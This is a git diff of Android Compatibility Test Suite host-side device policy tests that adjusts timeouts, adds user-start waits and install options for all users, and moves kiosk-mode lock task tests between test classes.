diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
index 8f1f88e2c6f..c91a86a6093 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
@@ -17,6 +17,7 @@
package com.android.cts.managedprofile;
import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import static java.util.concurrent.TimeUnit.SECONDS;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -33,7 +34,6 @@ import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
/**
* Verify that certain cross profile intent filters are disallowed when the device admin sets
@@ -176,7 +176,7 @@ public class DisallowSharingIntoProfileTest extends InstrumentationTestCase {
UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE);
}
// Wait for the restriction to apply
- assertTrue("Restriction not applied after 5 seconds", latch.await(5, TimeUnit.SECONDS));
+ assertTrue("Restriction not applied after 30 seconds", latch.await(30, SECONDS));
} finally {
mContext.unregisterReceiver(receiver);
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
index c74211df1f1..b82927e3069 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
@@ -20,15 +20,19 @@ import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.test.AndroidTestCase;
-import android.util.Log;
public class NfcTest extends AndroidTestCase {
private static final String SAMPLE_TEXT = "This is my text to send.";
private static final String TEXT_MIME_TYPE = "text/plain";
private static final String NFC_BEAM_ACTIVITY = "com.android.nfc.BeamShareActivity";
+ private static int NFC_RESOLVE_TIME_STEP_MILLIS = 1000;
+ private static int NFC_RESOLVE_TIMEOUT_MILLIS = 16000;
public void testNfcShareDisabled() throws Exception {
Intent intent = getTextShareIntent();
+ // After the "no_outgoing_beam" configuration item is modified, it takes a while
+ // until NFC receives the DEVICE_POLICY_MANAGER_STATE_CHANGED broadcast
+ waitForNfcBeamActivityDisabled(intent, NFC_RESOLVE_TIMEOUT_MILLIS);
assertFalse("Nfc beam activity should not be resolved", isNfcBeamActivityResolved(intent));
}
@@ -37,6 +41,15 @@ public class NfcTest extends AndroidTestCase {
assertTrue("Nfc beam activity should be resolved", isNfcBeamActivityResolved(intent));
}
+ private void waitForNfcBeamActivityDisabled(Intent intent, int maxDelayMillis)
+ throws Exception {
+ int totalDelayedMillis = 0;
+ while (isNfcBeamActivityResolved(intent) && totalDelayedMillis <= maxDelayMillis) {
+ Thread.sleep(NFC_RESOLVE_TIME_STEP_MILLIS);
+ totalDelayedMillis += NFC_RESOLVE_TIME_STEP_MILLIS;
+ }
+ }
+
private Intent getTextShareIntent() {
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 3b0cbfbc00a..c50fdb5e35d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -42,6 +42,7 @@ import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
+import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Set;
@@ -108,6 +109,12 @@ public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiv
*/
private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
+ /**
+ * User ID for all users.
+ * The value is from the UserHandle class.
+ */
+ protected static final int USER_ALL = -1;
+
protected static interface Settings {
public static final String GLOBAL_NAMESPACE = "global";
public static interface Global {
@@ -185,6 +192,7 @@ public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiv
}
removeOwners();
+ switchUser(USER_SYSTEM);
removeTestUsers();
// Unlock keyguard before test
wakeupAndDismissKeyguard();
@@ -199,6 +207,7 @@ public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiv
getDevice().executeShellCommand("settings put global package_verifier_enable "
+ mPackageVerifier);
removeOwners();
+ switchUser(USER_SYSTEM);
removeTestUsers();
removeTestPackages();
super.tearDown();
@@ -211,10 +220,20 @@ public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiv
protected void installAppAsUser(String appFileName, boolean grantPermissions, int userId)
throws FileNotFoundException, DeviceNotAvailableException {
+ installAppAsUser(appFileName, grantPermissions, /* dontKillApp */ false, userId);
+ }
+
+ protected void installAppAsUser(String appFileName, boolean grantPermissions,
+ boolean dontKillApp, int userId)
+ throws FileNotFoundException, DeviceNotAvailableException {
CLog.d("Installing app " + appFileName + " for user " + userId);
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ List<String> extraArgs = new LinkedList<>();
+ extraArgs.add("-t");
+ if (dontKillApp) extraArgs.add("--dont-kill");
String result = getDevice().installPackageForUser(
- buildHelper.getTestFile(appFileName), true, grantPermissions, userId, "-t");
+ buildHelper.getTestFile(appFileName), true, grantPermissions, userId,
+ extraArgs.toArray(new String[extraArgs.size()]));
assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
result);
}
@@ -235,6 +254,21 @@ public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiv
getDevice().startUser(userId);
}
+ /** Initializes the user with waitFlag. This is required so that apps can run on it. */
+ protected void startUserAndWait(int userId) throws Exception {
+ getDevice().startUser(userId, /* waitFlag= */ true);
+ }
+
+ /**
+ * Initializes the user with the given id, and waits until the user has started and unlocked
+ * before continuing.
+ *
+ * <p>This is required so that apps can run on it.
+ */
+ protected void startUser(int userId, boolean waitFlag) throws Exception {
+ getDevice().startUser(userId, waitFlag);
+ }
+
/**
* Starts switching to the user with the given ID.
*
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 580ffded731..9cdcf1abc92 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -182,7 +182,7 @@ public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevi
fail("Failed to set device owner");
return -1;
}
- startUser(userId);
+ startUserAndWait(userId);
return userId;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 56014ea036b..d9d9b150f37 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -50,14 +50,16 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
public static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
public static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp.apk";
- public static final String ADMIN_RECEIVER_TEST_CLASS
+ protected static final String ADMIN_RECEIVER_TEST_CLASS
= ".BaseDeviceAdminTest$BasicAdminReceiver";
+ protected static final String DEVICE_ADMIN_COMPONENT_FLATTENED =
+ DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
private static final String STORAGE_ENCRYPTION_TEST_CLASS = ".StorageEncryptionTest";
private static final String IS_PRIMARY_USER_PARAM = "isPrimaryUser";
- private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
- private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
+ protected static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
+ protected static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
private static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
private static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
@@ -1056,6 +1058,77 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
.build());
}
+ public void testLockTask() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ try {
+ installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+ executeDeviceTestClass(".LockTaskTest");
+ assertMetricsLogged(
+ getDevice(),
+ () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(true)
+ .setStrings(DEVICE_ADMIN_PKG)
+ .build());
+ } catch (AssertionError ex) {
+ // STOPSHIP(b/32771855), remove this once we fixed the bug.
+ executeShellCommand("dumpsys activity activities");
+ executeShellCommand("dumpsys window -a");
+ executeShellCommand("dumpsys activity service com.android.systemui");
+ throw ex;
+ } finally {
+ getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+ }
+ }
+
+ public void testLockTaskAfterReboot() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Just start kiosk mode
+ executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+ // Reboot while in kiosk mode and then unlock the device
+ rebootAndWaitUntilReady();
+
+ // Check that kiosk mode is working and can't be interrupted
+ executeDeviceTestMethod(".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted");
+ } finally {
+ executeDeviceTestMethod(".LockTaskHostDrivenTest",
+ "clearDefaultHomeIntentReceiver");
+ }
+ }
+
+ public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Just start kiosk mode
+ executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+ // Reboot while in kiosk mode and then unlock the device
+ rebootAndWaitUntilReady();
+
+ // Try to open settings via adb
+ executeShellCommand("am start -a android.settings.SETTINGS");
+
+ // Check again
+ executeDeviceTestMethod(".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted");
+ } finally {
+ executeDeviceTestMethod(".LockTaskHostDrivenTest",
+ "clearDefaultHomeIntentReceiver");
+ }
+ }
+
public void testSuspendPackage() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 0b7cc6bb3fa..25168ffc72b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -592,7 +592,7 @@ public class DeviceOwnerPlusProfileOwnerTest extends BaseDevicePolicyTest {
final int userId = createManagedProfile(mPrimaryUserId);
installAppAsUser(apkName, userId);
setProfileOwnerOrFail(adminReceiverClassName, userId);
- startUser(userId);
+ startUserAndWait(userId);
runDeviceTestsAsUser(
packageName,
MANAGEMENT_TEST,
@@ -617,7 +617,7 @@ public class DeviceOwnerPlusProfileOwnerTest extends BaseDevicePolicyTest {
List<Integer> newUsers = getUsersCreatedByTests();
assertEquals(1, newUsers.size());
int secondaryUserId = newUsers.get(0);
- getDevice().startUser(secondaryUserId);
+ getDevice().startUser(secondaryUserId, /* waitFlag= */ true);
return secondaryUserId;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index a42799e0c55..2b460ceb83f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -18,6 +18,8 @@ package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import android.stats.devicepolicy.EventId;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -33,8 +35,6 @@ import java.util.Collections;
import java.util.List;
import java.util.Map;
-import android.stats.devicepolicy.EventId;
-
/**
* Set of tests for Device Owner use cases.
*/
@@ -81,12 +81,6 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
*/
private static final int UPDATE_ERROR_UPDATE_FILE_INVALID = 3;
- /**
- * Copied from {@link android.app.admin.DevicePolicyManager
- * .InstallSystemUpdateCallback#UPDATE_ERROR_UNKNOWN}
- */
- private static final int UPDATE_ERROR_UNKNOWN = 1;
-
private static final int TYPE_NONE = 0;
/**
@@ -282,15 +276,24 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
return;
}
+ int maxUsers = getDevice().getMaxNumberOfUsersSupported();
int maxRunningUsers = getDevice().getMaxNumberOfRunningUsersSupported();
- // Primary user is already running, so we can start up to maxRunningUsers -1.
- for (int i = 0; i < maxRunningUsers - 1; i++) {
+
+ // Primary user is already running, so we can create and start up to minimum of above - 1.
+ int usersToCreateAndStart = Math.min(maxUsers, maxRunningUsers) - 1;
+ for (int i = 0; i < usersToCreateAndStart; i++) {
executeDeviceTestMethod(".CreateAndManageUserTest",
"testCreateAndManageUser_StartInBackground");
}
- // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
- executeDeviceTestMethod(".CreateAndManageUserTest",
- "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+
+ if (maxUsers > maxRunningUsers) {
+ // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
+ executeDeviceTestMethod(".CreateAndManageUserTest",
+ "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+ } else {
+ // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
+ executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageUser_MaxUsers");
+ }
}
/**
@@ -568,113 +571,6 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
}
- public void testLockTask_deviceOwnerUser() throws Exception {
- if (!mHasFeature) {
- return;
- }
- try {
- installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
- executeDeviceOwnerTest("LockTaskTest");
- assertMetricsLogged(getDevice(), () -> {
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskTest", "testStartLockTask",
- mPrimaryUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
- .setAdminPackageName(DEVICE_OWNER_PKG)
- .setBoolean(true)
- .setStrings(DEVICE_OWNER_PKG)
- .build());
- } catch (AssertionError ex) {
- // STOPSHIP(b/32771855), remove this once we fixed the bug.
- executeShellCommand("dumpsys activity activities");
- executeShellCommand("dumpsys window -a");
- executeShellCommand("dumpsys activity service com.android.systemui");
- throw ex;
- } finally {
- getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
- }
- }
-
- public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- try {
- // Just start kiosk mode
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
- mPrimaryUserId);
-
- // Reboot while in kiosk mode and then unlock the device
- rebootAndWaitUntilReady();
-
- // Check that kiosk mode is working and can't be interrupted
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
- "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
- } finally {
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
- "clearDefaultHomeIntentReceiver", mPrimaryUserId);
- }
- }
-
- public void testLockTaskAfterReboot_tryOpeningSettings_deviceOwnerUser() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- try {
- // Just start kiosk mode
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
- mPrimaryUserId);
-
- // Reboot while in kiosk mode and then unlock the device
- rebootAndWaitUntilReady();
-
- // Try to open settings via adb
- executeShellCommand("am start -a android.settings.SETTINGS");
-
- // Check again
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
- "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
- } finally {
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
- "clearDefaultHomeIntentReceiver", mPrimaryUserId);
- }
- }
-
- public void testLockTask_unaffiliatedUser() throws Exception {
- if (!mHasFeature || !canCreateAdditionalUsers(1)) {
- return;
- }
-
- final int userId = createUser();
- installAppAsUser(DEVICE_OWNER_APK, userId);
- setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
-
- runDeviceTestsAsUser(
- DEVICE_OWNER_PKG,
- ".AffiliationTest",
- "testLockTaskMethodsThrowExceptionIfUnaffiliated",
- userId);
-
- runDeviceTestsAsUser(
- DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
- runDeviceTestsAsUser(
- DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
- runDeviceTestsAsUser(
- DEVICE_OWNER_PKG,
- ".AffiliationTest",
- "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
- userId);
- }
-
- public void testLockTask_affiliatedSecondaryUser() throws Exception {
- if (!mHasFeature || !canCreateAdditionalUsers(1)) {
- return;
- }
- final int userId = createAffiliatedSecondaryUser();
- executeAffiliatedProfileOwnerTest("LockTaskTest", userId);
- }
-
public void testSystemUpdatePolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -1041,7 +937,7 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
}
public void testInstallUpdateLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isDeviceAb()) {
return;
}
pushUpdateFileToDevice("wrongHash.zip");
@@ -1049,12 +945,10 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
executeDeviceTestMethod(".InstallUpdateTest", "testInstallUpdate_failWrongHash");
}, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_VALUE)
.setAdminPackageName(DEVICE_OWNER_PKG)
- .setBoolean(isDeviceAb())
+ .setBoolean(/* isDeviceAb */ true)
.build(),
new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_ERROR_VALUE)
- .setInt(isDeviceAb()
- ? UPDATE_ERROR_UPDATE_FILE_INVALID
- : UPDATE_ERROR_UNKNOWN)
+ .setInt(UPDATE_ERROR_UPDATE_FILE_INVALID)
.build());
}
@@ -1135,15 +1029,6 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
}
- private void executeAffiliatedProfileOwnerTest(String testClassName, int userId)
- throws Exception {
- if (!mHasFeature) {
- return;
- }
- String testClass = DEVICE_OWNER_PKG + "." + testClassName;
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, userId);
- }
-
private void executeDeviceTestMethod(String className, String testName) throws Exception {
if (!mHasFeature) {
return;
@@ -1162,7 +1047,7 @@ public class DeviceOwnerTest extends BaseDevicePolicyTest {
waitForBroadcastIdle();
wakeupAndDismissKeyguard();
- // Setting the same affiliation ids on both users and running the lock task tests.
+ // Setting the same affiliation ids on both users
runDeviceTestsAsUser(
DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
index 960fbb28ba7..d941316b8d5 100644..100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
@@ -32,8 +32,7 @@ public class DevicePlusProfileOwnerHostSideTransferTest
TRANSFER_OWNER_OUTGOING_APK, TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
setSameAffiliationId(profileUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST);
- installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mPrimaryUserId);
- installAppAsUser(TRANSFER_OWNER_INCOMING_APK, profileUserId);
+ installAppAsUser(TRANSFER_OWNER_INCOMING_APK, USER_ALL);
mUserId = profileUserId;
} else {
removeAdmin(TRANSFER_OWNER_OUTGOING_TEST_RECEIVER, mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index decab021863..c756d16bbb1 100644..100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -53,11 +53,10 @@ public class LauncherAppsProfileTest extends BaseLauncherAppsTest {
mProfileUserId);
mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
- startUser(mProfileUserId);
+ startUserAndWait(mProfileUserId);
// Install test APK on primary user and the managed profile.
- installTestApps(mPrimaryUserId);
- installTestApps(mProfileUserId);
+ installTestApps(USER_ALL);
}
}
@@ -166,7 +165,8 @@ public class LauncherAppsProfileTest extends BaseLauncherAppsTest {
}
installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
startCallbackService(mPrimaryUserId);
- installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+ installAppAsUser(SIMPLE_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true,
+ mProfileUserId);
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
LAUNCHER_TESTS_CLASS,
"testPackageChangedCallbackForUser",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 01d64ede2b8..3f7bd9ddbb2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -118,8 +118,10 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
mProfileUserId = createManagedProfile(mParentUserId);
startUser(mProfileUserId);
- installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
- installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
+ // Install the APK on both primary and profile user in one single transaction.
+ // If they were installed separately, the second installation would become an app
+ // update and result in the current running test process being killed.
+ installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
mProfileUserId);
waitForUserUnlock();
@@ -488,10 +490,8 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
// intents resolution.
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
"testDisableAllBrowsers", mProfileUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
- installAppAsUser(INTENT_SENDER_APK, mParentUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
- installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+ installAppAsUser(INTENT_SENDER_APK, USER_ALL);
changeVerificationStatus(mParentUserId, INTENT_RECEIVER_PKG, "ask");
changeVerificationStatus(mProfileUserId, INTENT_RECEIVER_PKG, "ask");
@@ -526,10 +526,8 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
// intents resolution.
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
"testDisableAllBrowsers", mProfileUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
- installAppAsUser(INTENT_SENDER_APK, mParentUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
- installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+ installAppAsUser(INTENT_SENDER_APK, USER_ALL);
final String APP_HANDLER_COMPONENT = "com.android.cts.intent.receiver/.AppLinkActivity";
@@ -589,10 +587,8 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
// Storage permission shouldn't be granted, we check if missing permissions are respected
// in ContentTest#testSecurity.
- installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mParentUserId);
- installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mProfileUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
+ installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
// Test from parent to managed
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -615,8 +611,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
return;
}
- installAppAsUser(NOTIFICATION_APK, mProfileUserId);
- installAppAsUser(NOTIFICATION_APK, mParentUserId);
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
// Profile owner in the profile sets an empty whitelist
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -633,8 +628,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
return;
}
- installAppAsUser(NOTIFICATION_APK, mProfileUserId);
- installAppAsUser(NOTIFICATION_APK, mParentUserId);
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
// Profile owner in the profile sets a null whitelist
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -651,8 +645,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
return;
}
- installAppAsUser(NOTIFICATION_APK, mProfileUserId);
- installAppAsUser(NOTIFICATION_APK, mParentUserId);
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
// Profile owner in the profile adds listener to the whitelist
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -668,8 +661,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
if (!mHasFeature) {
return;
}
- installAppAsUser(NOTIFICATION_APK, mProfileUserId);
- installAppAsUser(NOTIFICATION_APK, mParentUserId);
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
"testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
@@ -680,10 +672,8 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
if (!mHasFeature) {
return;
}
- installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
- installAppAsUser(INTENT_SENDER_APK, mParentUserId);
- installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
- installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+ installAppAsUser(INTENT_SENDER_APK, USER_ALL);
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
"testAllowCrossProfileCopyPaste", mProfileUserId);
@@ -1001,8 +991,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
}
try {
- installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
- installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+ installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+ " --package " + WIDGET_PROVIDER_PKG);
setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
@@ -1048,8 +1037,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
}
try {
- installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
- installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+ installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+ " --package " + WIDGET_PROVIDER_PKG);
setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
